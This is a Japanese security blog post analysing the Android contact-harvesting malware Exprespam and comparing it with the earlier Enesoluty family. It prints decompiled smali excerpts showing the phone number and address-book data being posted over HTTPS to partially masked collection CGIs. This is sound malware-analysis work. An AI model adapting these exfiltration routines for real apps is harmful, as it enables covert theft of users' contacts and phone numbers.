以前のエントリで私、確かに申しました。
この記事は1/1元旦に公開したわけですがそれからわずか数日後、アドレス情報を収集するMalwareが発見されました…。さて、結果としてこの事件が不起訴になったことで今後の日本におけるAndroid環境は大きな懸念を抱えることになると見ています。 今回の事例から同様の手口でアドレス情報を収集する事象がが継続的に発生するであろう事は容易に推測できます。
- Android.Exprespam の出現は地検の不起訴が引き金か (Symantec Security Response Blog:1/7)
- アプリ福袋? 「新年」、「便利ツール」を悪用した不正アプリを確認 (Trend Micro Security Blog:1/10)
大きな仕組みとしてはEnesolutyに類似しているのですが、以下の点で異なっています
- Exprespamは9つの異なるアプリページに対して全て同じアプリをダウンロードします(DL先が同じファイルを指しています。)(Enesolutyでは偽マーケットで公開している3つのアプリがそれぞれ用意されていました。)
- Exprspamはデフォルトアイコンのままであったり、ダイアログとトーストのみで構成される非常にチープなUIです。(Enesolutyはアプリのアイコンや画面など割と手の込んだ画像を用意し一見まともなアプリのように見えます)
- Exprespamは偽マーケットとMalwareのダウンロード先は1つのサーバ(ドメイン)上で運用し、情報収集を別のサーバ(ドメイン)で運用しています。(Enesolutyは偽マーケットを複数のドメイン(だたしサーバは同一)で運用し、Malwareのダウンロード先及びC&Cサーバを偽マーケットと別に立てて運用しています)
また、前述のSymantecBlogでも記載されていましたが、Exprespamは従来のアドレス収集型Malwareと異なりアドレス情報の送信にSSL(HTTPS)を用いています。その目的がどこにあるのかは開発者にしかわかりませんが、少なくともこのアプリが何を送信するのかを動的解析する際に妨げになることは違いないでしょう。
もう1点、セキュリティベンダのBlogでは書かれていませんが、Exprespamには過去のアドレス収集型Malwareと異なる点があります。
従来のMalwareでは、取得した情報をそのままPOSTしたり、一度ファイルに出力した上でアップロードしていましたが、Exprespamは収集サーバに端末情報収集とアドレス情報収集で別のCGIが用意されています。
アプリを解析してみるとそれぞれのCGIに対し、以下の情報を送信する仕組みになっています。
端末情報(電話番号)収集用CGIへの送信部分
以下の部分から、端末情報(電話番号)収集用CGIには"t=(端末の電話番号)&app=Wrehifsdkjs"がPOSTされることがわかります。.restart local v4 #line1Number:Ljava/lang/String; .restart local v7 #str:Ljava/lang/String; .restart local v9 #telephonyManager:Landroid/telephony/TelephonyManager; :cond_25 new-instance v10, Ljava/lang/StringBuilder; const-string v11, "t=" invoke-direct {v10, v11}, Ljava/lang/StringBuilder;->(Ljava/lang/String;)V invoke-virtual {v10, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v10 const-string v11, "&app=Wrehifsdkjs" invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v10 invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v7 .line 61 const-string v10, "https://f*****************t.com/cgi-bin/confirmUserData****" invoke-virtual {p0, v10, v7}, Lfrhfsd/siksdk/ujdsfjkfsd/WrehifsdkjsActivity$Progress;->doPost(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
アドレス情報収集用CGIへの送信部分
以下の部分からアドレス情報収集用CGIには"data=(JSON形式のアドレス情報(表示名とメールアドレス))&t=(端末の電話番号)&app=Wrehifsdkjs"がPOSTされることがわかります。.restart local v3 #jObj:Lfrhfsd/siksdk/ujdsfjkfsd/WrehifsdkjsJSON; .restart local v4 #line1Number:Ljava/lang/String; .restart local v6 #result:Ljava/lang/String; .restart local v7 #str:Ljava/lang/String; .restart local v9 #telephonyManager:Landroid/telephony/TelephonyManager; : (途中省略) : const-string v10, "https://f*****************t.com/cgi-bin/registerAddressData****" new-instance v11, Ljava/lang/StringBuilder; const-string v12, "data=" invoke-direct {v11, v12}, Ljava/lang/StringBuilder;->(Ljava/lang/String;)V invoke-virtual {v11, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v11 const-string v12, "&t=" invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v11 invoke-virtual {v11, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v11 const-string v12, "&app=Wrehifsdkjs" invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v11 invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v11 invoke-virtual {p0, v10, v11}, Lfrhfsd/siksdk/ujdsfjkfsd/WrehifsdkjsActivity$Progress;->doPost(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
上記のとおり、Malwareのロジックが異なる点や署名のSubject名の命名パターンも従来のMalwareと異なることなどを鑑みると、このMalwareの開発者は従来のMalwareと異なる人物である可能性が高いのではないかと思います。
これがEnesolutyの模倣犯だとすると、今後もこのようなMalwareが増え続ける懸念がより一層高まりそうです。
0 件のコメント:
コメントを投稿